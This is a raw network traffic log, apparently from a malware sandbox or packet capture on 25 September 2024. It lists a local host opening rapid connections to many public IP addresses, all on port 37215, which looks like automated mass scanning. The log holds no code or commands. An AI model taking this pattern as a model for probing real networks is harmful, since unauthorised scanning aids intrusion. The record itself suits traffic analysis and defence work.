Sep 25, 2024 14:14:09.937724113 CEST	54974	37215	192.168.2.14	156.218.179.250
Sep 25, 2024 14:14:09.937901974 CEST	37215	43676	41.17.167.241	192.168.2.14
Sep 25, 2024 14:14:09.937913895 CEST	37215	53092	197.232.113.246	192.168.2.14
Sep 25, 2024 14:14:09.937925100 CEST	37215	59120	41.236.198.95	192.168.2.14
Sep 25, 2024 14:14:09.937935114 CEST	37215	38586	197.117.239.45	192.168.2.14
Sep 25, 2024 14:14:09.937944889 CEST	37215	42828	156.43.122.92	192.168.2.14
Sep 25, 2024 14:14:09.937966108 CEST	37215	40592	156.231.211.64	192.168.2.14
Sep 25, 2024 14:14:09.937977076 CEST	37215	47978	156.24.206.200	192.168.2.14
Sep 25, 2024 14:14:09.939147949 CEST	55230	37215	192.168.2.14	156.218.179.250
Sep 25, 2024 14:14:09.940696001 CEST	60396	37215	192.168.2.14	197.136.135.76
Sep 25, 2024 14:14:09.940696001 CEST	60396	37215	192.168.2.14	197.136.135.76
Sep 25, 2024 14:14:09.940853119 CEST	37215	48234	156.24.206.200	192.168.2.14
Sep 25, 2024 14:14:09.940911055 CEST	48234	37215	192.168.2.14	156.24.206.200
Sep 25, 2024 14:14:09.941282988 CEST	60652	37215	192.168.2.14	197.136.135.76
Sep 25, 2024 14:14:09.941792965 CEST	37215	38602	197.211.194.206	192.168.2.14
Sep 25, 2024 14:14:09.942018986 CEST	37215	42460	41.114.20.185	192.168.2.14
Sep 25, 2024 14:14:09.942570925 CEST	37215	42716	41.114.20.185	192.168.2.14
Sep 25, 2024 14:14:09.942610025 CEST	42716	37215	192.168.2.14	41.114.20.185
Sep 25, 2024 14:14:09.942645073 CEST	37215	54974	156.218.179.250	192.168.2.14
Sep 25, 2024 14:14:09.942677021 CEST	47088	37215	192.168.2.14	197.53.139.110
Sep 25, 2024 14:14:09.942697048 CEST	47088	37215	192.168.2.14	197.53.139.110
Sep 25, 2024 14:14:09.943372965 CEST	47344	37215	192.168.2.14	197.53.139.110
Sep 25, 2024 14:14:09.944048882 CEST	37215	55230	156.218.179.250	192.168.2.14
Sep 25, 2024 14:14:09.944087982 CEST	55230	37215	192.168.2.14	156.218.179.250
Sep 25, 2024 14:14:09.944242001 CEST	37076	37215	192.168.2.14	197.193.248.155
Sep 25, 2024 14:14:09.944242001 CEST	37076	37215	192.168.2.14	197.193.248.155
Sep 25, 2024 14:14:09.944883108 CEST	37332	37215	192.168.2.14	197.193.248.155
Sep 25, 2024 14:14:09.945729971 CEST	37215	60396	197.136.135.76	192.168.2.14
Sep 25, 2024 14:14:09.946131945 CEST	37215	60652	197.136.135.76	192.168.2.14
Sep 25, 2024 14:14:09.946178913 CEST	60652	37215	192.168.2.14	197.136.135.76
Sep 25, 2024 14:14:09.946506977 CEST	44744	37215	192.168.2.14	197.86.207.86
Sep 25, 2024 14:14:09.946516991 CEST	44744	37215	192.168.2.14	197.86.207.86
Sep 25, 2024 14:14:09.947200060 CEST	45000	37215	192.168.2.14	197.86.207.86
Sep 25, 2024 14:14:09.947644949 CEST	37215	47088	197.53.139.110	192.168.2.14
Sep 25, 2024 14:14:09.948117018 CEST	37215	47344	197.53.139.110	192.168.2.14
Sep 25, 2024 14:14:09.948152065 CEST	47344	37215	192.168.2.14	197.53.139.110
Sep 25, 2024 14:14:09.948947906 CEST	44888	37215	192.168.2.14	41.24.178.92
Sep 25, 2024 14:14:09.948947906 CEST	44888	37215	192.168.2.14	41.24.178.92
Sep 25, 2024 14:14:09.949872971 CEST	37215	40092	41.224.51.184	192.168.2.14
Sep 25, 2024 14:14:09.949884892 CEST	37215	47866	41.186.58.182	192.168.2.14
Sep 25, 2024 14:14:09.949894905 CEST	37215	51654	197.78.160.104	192.168.2.14
Sep 25, 2024 14:14:09.949908018 CEST	37215	37076	197.193.248.155	192.168.2.14
Sep 25, 2024 14:14:09.949924946 CEST	45144	37215	192.168.2.14	41.24.178.92
Sep 25, 2024 14:14:09.950289011 CEST	37215	37332	197.193.248.155	192.168.2.14
Sep 25, 2024 14:14:09.950337887 CEST	37332	37215	192.168.2.14	197.193.248.155
Sep 25, 2024 14:14:09.951261044 CEST	37215	44744	197.86.207.86	192.168.2.14
Sep 25, 2024 14:14:09.951982975 CEST	45202	37215	192.168.2.14	156.36.9.56
Sep 25, 2024 14:14:09.952006102 CEST	45202	37215	192.168.2.14	156.36.9.56
Sep 25, 2024 14:14:09.952032089 CEST	37215	45000	197.86.207.86	192.168.2.14
Sep 25, 2024 14:14:09.952065945 CEST	45000	37215	192.168.2.14	197.86.207.86
Sep 25, 2024 14:14:09.953397036 CEST	45458	37215	192.168.2.14	156.36.9.56
Sep 25, 2024 14:14:09.953830004 CEST	37215	44888	41.24.178.92	192.168.2.14
Sep 25, 2024 14:14:09.954701900 CEST	37215	45144	41.24.178.92	192.168.2.14
Sep 25, 2024 14:14:09.954814911 CEST	45144	37215	192.168.2.14	41.24.178.92
Sep 25, 2024 14:14:09.954816103 CEST	52692	37215	192.168.2.14	156.250.70.236
Sep 25, 2024 14:14:09.954816103 CEST	52692	37215	192.168.2.14	156.250.70.236
Sep 25, 2024 14:14:09.955400944 CEST	52948	37215	192.168.2.14	156.250.70.236
Sep 25, 2024 14:14:09.956449032 CEST	60448	37215	192.168.2.14	41.20.204.217
Sep 25, 2024 14:14:09.956466913 CEST	60448	37215	192.168.2.14	41.20.204.217
Sep 25, 2024 14:14:09.956876040 CEST	37215	45202	156.36.9.56	192.168.2.14
Sep 25, 2024 14:14:09.957777977 CEST	60704	37215	192.168.2.14	41.20.204.217
Sep 25, 2024 14:14:09.957843065 CEST	37215	44094	156.10.102.1	192.168.2.14
Sep 25, 2024 14:14:09.958204985 CEST	37215	45458	156.36.9.56	192.168.2.14
Sep 25, 2024 14:14:09.958234072 CEST	45458	37215	192.168.2.14	156.36.9.56
Sep 25, 2024 14:14:09.958992958 CEST	52248	37215	192.168.2.14	197.239.226.40
Sep 25, 2024 14:14:09.959006071 CEST	52248	37215	192.168.2.14	197.239.226.40
Sep 25, 2024 14:14:09.959660053 CEST	37215	52692	156.250.70.236	192.168.2.14
Sep 25, 2024 14:14:09.959785938 CEST	52504	37215	192.168.2.14	197.239.226.40
Sep 25, 2024 14:14:09.960202932 CEST	37215	52948	156.250.70.236	192.168.2.14
Sep 25, 2024 14:14:09.960237980 CEST	52948	37215	192.168.2.14	156.250.70.236
Sep 25, 2024 14:14:09.960658073 CEST	55606	37215	192.168.2.14	41.85.169.189
Sep 25, 2024 14:14:09.960658073 CEST	55606	37215	192.168.2.14	41.85.169.189
Sep 25, 2024 14:14:09.961409092 CEST	55862	37215	192.168.2.14	41.85.169.189
Sep 25, 2024 14:14:09.961416006 CEST	37215	60448	41.20.204.217	192.168.2.14
Sep 25, 2024 14:14:09.962336063 CEST	53184	37215	192.168.2.14	41.0.127.129
Sep 25, 2024 14:14:09.962346077 CEST	53184	37215	192.168.2.14	41.0.127.129
Sep 25, 2024 14:14:09.962636948 CEST	37215	60704	41.20.204.217	192.168.2.14
Sep 25, 2024 14:14:09.962706089 CEST	60704	37215	192.168.2.14	41.20.204.217
Sep 25, 2024 14:14:09.962851048 CEST	53440	37215	192.168.2.14	41.0.127.129
Sep 25, 2024 14:14:09.963812113 CEST	37215	52248	197.239.226.40	192.168.2.14
Sep 25, 2024 14:14:09.963903904 CEST	34792	37215	192.168.2.14	156.243.133.195
Sep 25, 2024 14:14:09.963913918 CEST	34792	37215	192.168.2.14	156.243.133.195
Sep 25, 2024 14:14:09.964555979 CEST	37215	52504	197.239.226.40	192.168.2.14
Sep 25, 2024 14:14:09.964654922 CEST	52504	37215	192.168.2.14	197.239.226.40
Sep 25, 2024 14:14:09.964838028 CEST	35048	37215	192.168.2.14	156.243.133.195
Sep 25, 2024 14:14:09.965430021 CEST	37215	55606	41.85.169.189	192.168.2.14
Sep 25, 2024 14:14:09.965811968 CEST	37215	47632	156.73.176.14	192.168.2.14
Sep 25, 2024 14:14:09.965830088 CEST	48426	37215	192.168.2.14	156.37.55.251
Sep 25, 2024 14:14:09.965851068 CEST	48426	37215	192.168.2.14	156.37.55.251
Sep 25, 2024 14:14:09.966233015 CEST	37215	55862	41.85.169.189	192.168.2.14
Sep 25, 2024 14:14:09.966509104 CEST	55862	37215	192.168.2.14	41.85.169.189
Sep 25, 2024 14:14:09.966782093 CEST	48682	37215	192.168.2.14	156.37.55.251
Sep 25, 2024 14:14:09.967189074 CEST	37215	53184	41.0.127.129	192.168.2.14
Sep 25, 2024 14:14:09.967677116 CEST	48696	37215	192.168.2.14	197.102.48.75
Sep 25, 2024 14:14:09.967677116 CEST	48696	37215	192.168.2.14	197.102.48.75
Sep 25, 2024 14:14:09.967827082 CEST	37215	53440	41.0.127.129	192.168.2.14
Sep 25, 2024 14:14:09.967863083 CEST	53440	37215	192.168.2.14	41.0.127.129
Sep 25, 2024 14:14:09.968260050 CEST	48952	37215	192.168.2.14	197.102.48.75
Sep 25, 2024 14:14:09.968702078 CEST	37215	34792	156.243.133.195	192.168.2.14
Sep 25, 2024 14:14:09.969111919 CEST	47438	37215	192.168.2.14	41.96.165.212
Sep 25, 2024 14:14:09.969111919 CEST	47438	37215	192.168.2.14	41.96.165.212
Sep 25, 2024 14:14:09.969655037 CEST	37215	35048	156.243.133.195	192.168.2.14
Sep 25, 2024 14:14:09.969695091 CEST	35048	37215	192.168.2.14	156.243.133.195
Sep 25, 2024 14:14:09.969791889 CEST	37215	54084	197.44.240.204	192.168.2.14
Sep 25, 2024 14:14:09.969855070 CEST	37215	42122	41.117.220.87	192.168.2.14
Sep 25, 2024 14:14:09.969865084 CEST	37215	50220	41.35.202.34	192.168.2.14
Sep 25, 2024 14:14:09.969876051 CEST	37215	54036	41.7.172.29	192.168.2.14
Sep 25, 2024 14:14:09.969886065 CEST	37215	49178	197.7.143.124	192.168.2.14
Sep 25, 2024 14:14:09.969896078 CEST	37215	33078	197.122.68.154	192.168.2.14
Sep 25, 2024 14:14:09.969904900 CEST	47694	37215	192.168.2.14	41.96.165.212
Sep 25, 2024 14:14:09.970567942 CEST	37215	48426	156.37.55.251	192.168.2.14
Sep 25, 2024 14:14:09.971013069 CEST	49694	37215	192.168.2.14	197.10.32.113
Sep 25, 2024 14:14:09.971013069 CEST	49694	37215	192.168.2.14	197.10.32.113
Sep 25, 2024 14:14:09.971585989 CEST	37215	48682	156.37.55.251	192.168.2.14
Sep 25, 2024 14:14:09.971635103 CEST	49950	37215	192.168.2.14	197.10.32.113
Sep 25, 2024 14:14:09.971709013 CEST	48682	37215	192.168.2.14	156.37.55.251
Sep 25, 2024 14:14:09.972460032 CEST	37215	48696	197.102.48.75	192.168.2.14
Sep 25, 2024 14:14:09.972537994 CEST	33980	37215	192.168.2.14	197.226.156.116
Sep 25, 2024 14:14:09.972537994 CEST	33980	37215	192.168.2.14	197.226.156.116
Sep 25, 2024 14:14:09.973073959 CEST	37215	48952	197.102.48.75	192.168.2.14
Sep 25, 2024 14:14:09.973114967 CEST	48952	37215	192.168.2.14	197.102.48.75
Sep 25, 2024 14:14:09.973166943 CEST	34236	37215	192.168.2.14	197.226.156.116
Sep 25, 2024 14:14:09.973814011 CEST	37215	34102	41.205.14.22	192.168.2.14
Sep 25, 2024 14:14:09.974046946 CEST	37215	47438	41.96.165.212	192.168.2.14
Sep 25, 2024 14:14:09.974262953 CEST	45004	37215	192.168.2.14	41.185.117.166
Sep 25, 2024 14:14:09.974287033 CEST	45004	37215	192.168.2.14	41.185.117.166
Sep 25, 2024 14:14:09.974639893 CEST	45260	37215	192.168.2.14	41.185.117.166
Sep 25, 2024 14:14:09.975279093 CEST	54552	37215	192.168.2.14	41.253.163.98
Sep 25, 2024 14:14:09.975317001 CEST	54552	37215	192.168.2.14	41.253.163.98
Sep 25, 2024 14:14:09.975677967 CEST	37215	47694	41.96.165.212	192.168.2.14
Sep 25, 2024 14:14:09.975713015 CEST	47694	37215	192.168.2.14	41.96.165.212
Sep 25, 2024 14:14:09.975764036 CEST	54808	37215	192.168.2.14	41.253.163.98
Sep 25, 2024 14:14:09.976362944 CEST	48530	37215	192.168.2.14	197.108.73.223
Sep 25, 2024 14:14:09.976375103 CEST	48530	37215	192.168.2.14	197.108.73.223
Sep 25, 2024 14:14:09.976902962 CEST	37215	49694	197.10.32.113	192.168.2.14
Sep 25, 2024 14:14:09.976922035 CEST	48786	37215	192.168.2.14	197.108.73.223
Sep 25, 2024 14:14:09.977524996 CEST	59818	37215	192.168.2.14	41.83.106.232
Sep 25, 2024 14:14:09.977524996 CEST	59818	37215	192.168.2.14	41.83.106.232
Sep 25, 2024 14:14:09.977654934 CEST	37215	49950	197.10.32.113	192.168.2.14
Sep 25, 2024 14:14:09.977674961 CEST	37215	33980	197.226.156.116	192.168.2.14
Sep 25, 2024 14:14:09.977689028 CEST	49950	37215	192.168.2.14	197.10.32.113
Sep 25, 2024 14:14:09.977766037 CEST	37215	41022	156.76.35.164	192.168.2.14
Sep 25, 2024 14:14:09.977794886 CEST	37215	50674	156.165.196.119	192.168.2.14
Sep 25, 2024 14:14:09.978082895 CEST	60074	37215	192.168.2.14	41.83.106.232
Sep 25, 2024 14:14:09.978153944 CEST	37215	34236	197.226.156.116	192.168.2.14
Sep 25, 2024 14:14:09.978198051 CEST	34236	37215	192.168.2.14	197.226.156.116
Sep 25, 2024 14:14:09.978621960 CEST	55888	37215	192.168.2.14	41.138.112.209
Sep 25, 2024 14:14:09.978631020 CEST	55888	37215	192.168.2.14	41.138.112.209
Sep 25, 2024 14:14:09.979155064 CEST	37215	45004	41.185.117.166	192.168.2.14
Sep 25, 2024 14:14:09.979430914 CEST	56144	37215	192.168.2.14	41.138.112.209
Sep 25, 2024 14:14:09.979896069 CEST	44470	37215	192.168.2.14	156.122.208.214
Sep 25, 2024 14:14:09.979908943 CEST	44470	37215	192.168.2.14	156.122.208.214
Sep 25, 2024 14:14:09.980118990 CEST	37215	45260	41.185.117.166	192.168.2.14
Sep 25, 2024 14:14:09.980153084 CEST	45260	37215	192.168.2.14	41.185.117.166
Sep 25, 2024 14:14:09.980204105 CEST	37215	54552	41.253.163.98	192.168.2.14
Sep 25, 2024 14:14:09.980545998 CEST	44726	37215	192.168.2.14	156.122.208.214
Sep 25, 2024 14:14:09.980580091 CEST	37215	54808	41.253.163.98	192.168.2.14
Sep 25, 2024 14:14:09.980626106 CEST	54808	37215	192.168.2.14	41.253.163.98
Sep 25, 2024 14:14:09.981159925 CEST	52156	37215	192.168.2.14	156.142.59.249
Sep 25, 2024 14:14:09.981159925 CEST	52156	37215	192.168.2.14	156.142.59.249
Sep 25, 2024 14:14:09.981172085 CEST	37215	48530	197.108.73.223	192.168.2.14
Sep 25, 2024 14:14:09.981595993 CEST	52412	37215	192.168.2.14	156.142.59.249
Sep 25, 2024 14:14:09.981786013 CEST	37215	48786	197.108.73.223	192.168.2.14
Sep 25, 2024 14:14:09.981862068 CEST	48786	37215	192.168.2.14	197.108.73.223
Sep 25, 2024 14:14:09.982490063 CEST	54704	37215	192.168.2.14	41.126.121.77
Sep 25, 2024 14:14:09.982490063 CEST	54704	37215	192.168.2.14	41.126.121.77
Sep 25, 2024 14:14:09.982551098 CEST	37215	59818	41.83.106.232	192.168.2.14
Sep 25, 2024 14:14:09.983068943 CEST	37215	60074	41.83.106.232	192.168.2.14
Sep 25, 2024 14:14:09.983108044 CEST	60074	37215	192.168.2.14	41.83.106.232
Sep 25, 2024 14:14:09.983135939 CEST	54960	37215	192.168.2.14	41.126.121.77
Sep 25, 2024 14:14:09.983432055 CEST	37215	55888	41.138.112.209	192.168.2.14
Sep 25, 2024 14:14:09.984016895 CEST	57810	37215	192.168.2.14	156.205.173.203
Sep 25, 2024 14:14:09.984016895 CEST	57810	37215	192.168.2.14	156.205.173.203
Sep 25, 2024 14:14:09.984270096 CEST	37215	56144	41.138.112.209	192.168.2.14
Sep 25, 2024 14:14:09.984307051 CEST	56144	37215	192.168.2.14	41.138.112.209
Sep 25, 2024 14:14:09.984692097 CEST	37215	44470	156.122.208.214	192.168.2.14
Sep 25, 2024 14:14:09.984703064 CEST	58066	37215	192.168.2.14	156.205.173.203
Sep 25, 2024 14:14:09.985454082 CEST	55844	37215	192.168.2.14	156.82.22.251
Sep 25, 2024 14:14:09.985466003 CEST	55844	37215	192.168.2.14	156.82.22.251
Sep 25, 2024 14:14:09.985785007 CEST	37215	47978	156.24.206.200	192.168.2.14
Sep 25, 2024 14:14:09.985831976 CEST	37215	60396	197.136.135.76	192.168.2.14
Sep 25, 2024 14:14:09.985843897 CEST	37215	54974	156.218.179.250	192.168.2.14
Sep 25, 2024 14:14:09.985853910 CEST	37215	42460	41.114.20.185	192.168.2.14
Sep 25, 2024 14:14:09.986171961 CEST	56100	37215	192.168.2.14	156.82.22.251
Sep 25, 2024 14:14:09.986787081 CEST	37215	44726	156.122.208.214	192.168.2.14
Sep 25, 2024 14:14:09.987015009 CEST	44726	37215	192.168.2.14	156.122.208.214
Sep 25, 2024 14:14:09.987415075 CEST	37215	52156	156.142.59.249	192.168.2.14
Sep 25, 2024 14:14:09.987441063 CEST	37215	52412	156.142.59.249	192.168.2.14
Sep 25, 2024 14:14:09.987452984 CEST	49128	37215	192.168.2.14	197.187.150.219
Sep 25, 2024 14:14:09.987452984 CEST	49128	37215	192.168.2.14	197.187.150.219
Sep 25, 2024 14:14:09.987474918 CEST	52412	37215	192.168.2.14	156.142.59.249
Sep 25, 2024 14:14:09.988136053 CEST	37215	54704	41.126.121.77	192.168.2.14
Sep 25, 2024 14:14:09.988148928 CEST	37215	54960	41.126.121.77	192.168.2.14
Sep 25, 2024 14:14:09.988153934 CEST	49384	37215	192.168.2.14	197.187.150.219
Sep 25, 2024 14:14:09.988188028 CEST	54960	37215	192.168.2.14	41.126.121.77
Sep 25, 2024 14:14:09.988818884 CEST	37215	57810	156.205.173.203	192.168.2.14
Sep 25, 2024 14:14:09.989079952 CEST	52648	37215	192.168.2.14	156.82.102.137
Sep 25, 2024 14:14:09.989080906 CEST	52648	37215	192.168.2.14	156.82.102.137
Sep 25, 2024 14:14:09.989536047 CEST	52904	37215	192.168.2.14	156.82.102.137
Sep 25, 2024 14:14:09.989573956 CEST	37215	58066	156.205.173.203	192.168.2.14
Sep 25, 2024 14:14:09.989614010 CEST	58066	37215	192.168.2.14	156.205.173.203
Sep 25, 2024 14:14:09.990502119 CEST	37215	55844	156.82.22.251	192.168.2.14
Sep 25, 2024 14:14:09.990688086 CEST	53424	37215	192.168.2.14	41.177.199.135
Sep 25, 2024 14:14:09.990700006 CEST	53424	37215	192.168.2.14	41.177.199.135
Sep 25, 2024 14:14:09.991199970 CEST	37215	56100	156.82.22.251	192.168.2.14
Sep 25, 2024 14:14:09.991241932 CEST	56100	37215	192.168.2.14	156.82.22.251
Sep 25, 2024 14:14:09.991516113 CEST	53680	37215	192.168.2.14	41.177.199.135
Sep 25, 2024 14:14:09.992342949 CEST	37215	49128	197.187.150.219	192.168.2.14
Sep 25, 2024 14:14:09.993060112 CEST	37215	49384	197.187.150.219	192.168.2.14
Sep 25, 2024 14:14:09.993093014 CEST	49384	37215	192.168.2.14	197.187.150.219
Sep 25, 2024 14:14:09.993364096 CEST	54888	37215	192.168.2.14	41.139.101.133
Sep 25, 2024 14:14:09.993364096 CEST	54888	37215	192.168.2.14	41.139.101.133
Sep 25, 2024 14:14:09.993818045 CEST	37215	47088	197.53.139.110	192.168.2.14
Sep 25, 2024 14:14:09.993829966 CEST	37215	44744	197.86.207.86	192.168.2.14
Sep 25, 2024 14:14:09.993839979 CEST	37215	37076	197.193.248.155	192.168.2.14
Sep 25, 2024 14:14:09.993937969 CEST	37215	52648	156.82.102.137	192.168.2.14
Sep 25, 2024 14:14:09.994313955 CEST	55144	37215	192.168.2.14	41.139.101.133
Sep 25, 2024 14:14:09.994465113 CEST	37215	52904	156.82.102.137	192.168.2.14
Sep 25, 2024 14:14:09.994519949 CEST	52904	37215	192.168.2.14	156.82.102.137
Sep 25, 2024 14:14:09.995546103 CEST	37215	53424	41.177.199.135	192.168.2.14
Sep 25, 2024 14:14:09.995985985 CEST	53366	37215	192.168.2.14	41.213.184.0
Sep 25, 2024 14:14:09.995985985 CEST	53366	37215	192.168.2.14	41.213.184.0
Sep 25, 2024 14:14:09.997330904 CEST	37215	53680	41.177.199.135	192.168.2.14
Sep 25, 2024 14:14:09.997483969 CEST	53680	37215	192.168.2.14	41.177.199.135
Sep 25, 2024 14:14:09.997594118 CEST	53622	37215	192.168.2.14	41.213.184.0
Sep 25, 2024 14:14:09.998296976 CEST	37215	54888	41.139.101.133	192.168.2.14
Sep 25, 2024 14:14:09.999037027 CEST	37215	55144	41.139.101.133	192.168.2.14
Sep 25, 2024 14:14:09.999077082 CEST	55144	37215	192.168.2.14	41.139.101.133
Sep 25, 2024 14:14:09.999154091 CEST	39734	37215	192.168.2.14	41.192.9.132
Sep 25, 2024 14:14:09.999181986 CEST	39734	37215	192.168.2.14	41.192.9.132
Sep 25, 2024 14:14:10.000051975 CEST	39990	37215	192.168.2.14	41.192.9.132
Sep 25, 2024 14:14:10.001437902 CEST	43816	37215	192.168.2.14	156.60.200.195
Sep 25, 2024 14:14:10.001451015 CEST	37215	53366	41.213.184.0	192.168.2.14
Sep 25, 2024 14:14:10.001457930 CEST	43816	37215	192.168.2.14	156.60.200.195
Sep 25, 2024 14:14:10.001812935 CEST	37215	45202	156.36.9.56	192.168.2.14
Sep 25, 2024 14:14:10.001852036 CEST	37215	44888	41.24.178.92	192.168.2.14
Sep 25, 2024 14:14:10.001863956 CEST	37215	60448	41.20.204.217	192.168.2.14
Sep 25, 2024 14:14:10.001873970 CEST	37215	52692	156.250.70.236	192.168.2.14
Sep 25, 2024 14:14:10.002655029 CEST	37215	53622	41.213.184.0	192.168.2.14
Sep 25, 2024 14:14:10.002801895 CEST	53622	37215	192.168.2.14	41.213.184.0
Sep 25, 2024 14:14:10.002897978 CEST	44072	37215	192.168.2.14	156.60.200.195
Sep 25, 2024 14:14:10.003966093 CEST	52282	37215	192.168.2.14	156.159.53.215
Sep 25, 2024 14:14:10.003966093 CEST	52282	37215	192.168.2.14	156.159.53.215
Sep 25, 2024 14:14:10.004069090 CEST	37215	39734	41.192.9.132	192.168.2.14
Sep 25, 2024 14:14:10.004673004 CEST	52538	37215	192.168.2.14	156.159.53.215
Sep 25, 2024 14:14:10.004887104 CEST	37215	39990	41.192.9.132	192.168.2.14
Sep 25, 2024 14:14:10.004925966 CEST	39990	37215	192.168.2.14	41.192.9.132
Sep 25, 2024 14:14:10.005532026 CEST	48382	37215	192.168.2.14	156.147.64.138
Sep 25, 2024 14:14:10.005532026 CEST	48382	37215	192.168.2.14	156.147.64.138
Sep 25, 2024 14:14:10.006273031 CEST	48638	37215	192.168.2.14	156.147.64.138
Sep 25, 2024 14:14:10.006272078 CEST	37215	43816	156.60.200.195	192.168.2.14
Sep 25, 2024 14:14:10.007405043 CEST	58474	37215	192.168.2.14	156.10.172.17
Sep 25, 2024 14:14:10.007426023 CEST	58474	37215	192.168.2.14	156.10.172.17
Sep 25, 2024 14:14:10.008109093 CEST	58730	37215	192.168.2.14	156.10.172.17
Sep 25, 2024 14:14:10.008567095 CEST	37215	44072	156.60.200.195	192.168.2.14
Sep 25, 2024 14:14:10.008608103 CEST	44072	37215	192.168.2.14	156.60.200.195
Sep 25, 2024 14:14:10.008876085 CEST	37215	52282	156.159.53.215	192.168.2.14
Sep 25, 2024 14:14:10.009465933 CEST	37215	52538	156.159.53.215	192.168.2.14
Sep 25, 2024 14:14:10.009511948 CEST	52538	37215	192.168.2.14	156.159.53.215
Sep 25, 2024 14:14:10.009543896 CEST	52766	37215	192.168.2.14	197.103.101.114
Sep 25, 2024 14:14:10.009562969 CEST	52766	37215	192.168.2.14	197.103.101.114
Sep 25, 2024 14:14:10.009841919 CEST	37215	55606	41.85.169.189	192.168.2.14
Sep 25, 2024 14:14:10.009855032 CEST	37215	52248	197.239.226.40	192.168.2.14
Sep 25, 2024 14:14:10.009865999 CEST	37215	34792	156.243.133.195	192.168.2.14
Sep 25, 2024 14:14:10.009876966 CEST	37215	53184	41.0.127.129	192.168.2.14
Sep 25, 2024 14:14:10.010354996 CEST	37215	48382	156.147.64.138	192.168.2.14
Sep 25, 2024 14:14:10.010356903 CEST	53022	37215	192.168.2.14	197.103.101.114
Sep 25, 2024 14:14:10.011049986 CEST	60840	37215	192.168.2.14	41.17.224.245
Sep 25, 2024 14:14:10.011049986 CEST	60840	37215	192.168.2.14	41.17.224.245
Sep 25, 2024 14:14:10.011197090 CEST	37215	48638	156.147.64.138	192.168.2.14
Sep 25, 2024 14:14:10.011235952 CEST	48638	37215	192.168.2.14	156.147.64.138
Sep 25, 2024 14:14:10.011840105 CEST	32864	37215	192.168.2.14	41.17.224.245
Sep 25, 2024 14:14:10.012293100 CEST	37215	58474	156.10.172.17	192.168.2.14
Sep 25, 2024 14:14:10.012937069 CEST	37215	58730	156.10.172.17	192.168.2.14
Sep 25, 2024 14:14:10.012990952 CEST	58730	37215	192.168.2.14	156.10.172.17
Sep 25, 2024 14:14:10.013170958 CEST	39966	37215	192.168.2.14	156.172.137.208
Sep 25, 2024 14:14:10.013170958 CEST	39966	37215	192.168.2.14	156.172.137.208
Sep 25, 2024 14:14:10.013807058 CEST	37215	48696	197.102.48.75	192.168.2.14
Sep 25, 2024 14:14:10.013820887 CEST	37215	48426	156.37.55.251	192.168.2.14
Sep 25, 2024 14:14:10.014337063 CEST	37215	52766	197.103.101.114	192.168.2.14
Sep 25, 2024 14:14:10.014478922 CEST	40222	37215	192.168.2.14	156.172.137.208
Sep 25, 2024 14:14:10.015199900 CEST	37215	53022	197.103.101.114	192.168.2.14
Sep 25, 2024 14:14:10.015407085 CEST	53022	37215	192.168.2.14	197.103.101.114
Sep 25, 2024 14:14:10.015816927 CEST	37215	60840	41.17.224.245	192.168.2.14
Sep 25, 2024 14:14:10.016588926 CEST	58812	37215	192.168.2.14	41.216.108.45
Sep 25, 2024 14:14:10.016588926 CEST	58812	37215	192.168.2.14	41.216.108.45
Sep 25, 2024 14:14:10.016637087 CEST	37215	32864	41.17.224.245	192.168.2.14
Sep 25, 2024 14:14:10.016674995 CEST	32864	37215	192.168.2.14	41.17.224.245
Sep 25, 2024 14:14:10.017833948 CEST	37215	33980	197.226.156.116	192.168.2.14
Sep 25, 2024 14:14:10.017848015 CEST	37215	49694	197.10.32.113	192.168.2.14
Sep 25, 2024 14:14:10.017862082 CEST	37215	47438	41.96.165.212	192.168.2.14
Sep 25, 2024 14:14:10.017924070 CEST	59068	37215	192.168.2.14	41.216.108.45
Sep 25, 2024 14:14:10.019568920 CEST	37215	39966	156.172.137.208	192.168.2.14
Sep 25, 2024 14:14:10.019598961 CEST	37215	40222	156.172.137.208	192.168.2.14
Sep 25, 2024 14:14:10.019634008 CEST	50584	37215	192.168.2.14	41.214.110.3
Sep 25, 2024 14:14:10.019634008 CEST	40222	37215	192.168.2.14	156.172.137.208
Sep 25, 2024 14:14:10.019634008 CEST	50584	37215	192.168.2.14	41.214.110.3
Sep 25, 2024 14:14:10.021251917 CEST	50840	37215	192.168.2.14	41.214.110.3
Sep 25, 2024 14:14:10.021481991 CEST	37215	58812	41.216.108.45	192.168.2.14
Sep 25, 2024 14:14:10.021790981 CEST	37215	48530	197.108.73.223	192.168.2.14
Sep 25, 2024 14:14:10.021841049 CEST	37215	54552	41.253.163.98	192.168.2.14
Sep 25, 2024 14:14:10.021852016 CEST	37215	45004	41.185.117.166	192.168.2.14
Sep 25, 2024 14:14:10.022675037 CEST	37215	59068	41.216.108.45	192.168.2.14
Sep 25, 2024 14:14:10.022718906 CEST	59068	37215	192.168.2.14	41.216.108.45
Sep 25, 2024 14:14:10.022763968 CEST	40752	37215	192.168.2.14	197.87.102.75
Sep 25, 2024 14:14:10.022835016 CEST	40752	37215	192.168.2.14	197.87.102.75
Sep 25, 2024 14:14:10.023713112 CEST	41008	37215	192.168.2.14	197.87.102.75
Sep 25, 2024 14:14:10.024415970 CEST	37215	50584	41.214.110.3	192.168.2.14
Sep 25, 2024 14:14:10.025543928 CEST	45748	37215	192.168.2.14	156.79.189.25
Sep 25, 2024 14:14:10.025563955 CEST	45748	37215	192.168.2.14	156.79.189.25
Sep 25, 2024 14:14:10.025913954 CEST	37215	44470	156.122.208.214	192.168.2.14
Sep 25, 2024 14:14:10.025927067 CEST	37215	55888	41.138.112.209	192.168.2.14
Sep 25, 2024 14:14:10.025937080 CEST	37215	59818	41.83.106.232	192.168.2.14
Sep 25, 2024 14:14:10.026106119 CEST	37215	50840	41.214.110.3	192.168.2.14
Sep 25, 2024 14:14:10.026168108 CEST	50840	37215	192.168.2.14	41.214.110.3
Sep 25, 2024 14:14:10.026949883 CEST	46004	37215	192.168.2.14	156.79.189.25
Sep 25, 2024 14:14:10.027627945 CEST	37215	40752	197.87.102.75	192.168.2.14
Sep 25, 2024 14:14:10.028554916 CEST	37215	41008	197.87.102.75	192.168.2.14
Sep 25, 2024 14:14:10.028572083 CEST	49444	37215	192.168.2.14	156.194.100.66
Sep 25, 2024 14:14:10.028572083 CEST	49444	37215	192.168.2.14	156.194.100.66
Sep 25, 2024 14:14:10.028594017 CEST	41008	37215	192.168.2.14	197.87.102.75
Sep 25, 2024 14:14:10.029829025 CEST	49700	37215	192.168.2.14	156.194.100.66
Sep 25, 2024 14:14:10.030384064 CEST	37215	45748	156.79.189.25	192.168.2.14
Sep 25, 2024 14:14:10.031650066 CEST	56452	37215	192.168.2.14	156.178.255.27
Sep 25, 2024 14:14:10.031661034 CEST	56452	37215	192.168.2.14	156.178.255.27
Sep 25, 2024 14:14:10.031862020 CEST	37215	46004	156.79.189.25	192.168.2.14
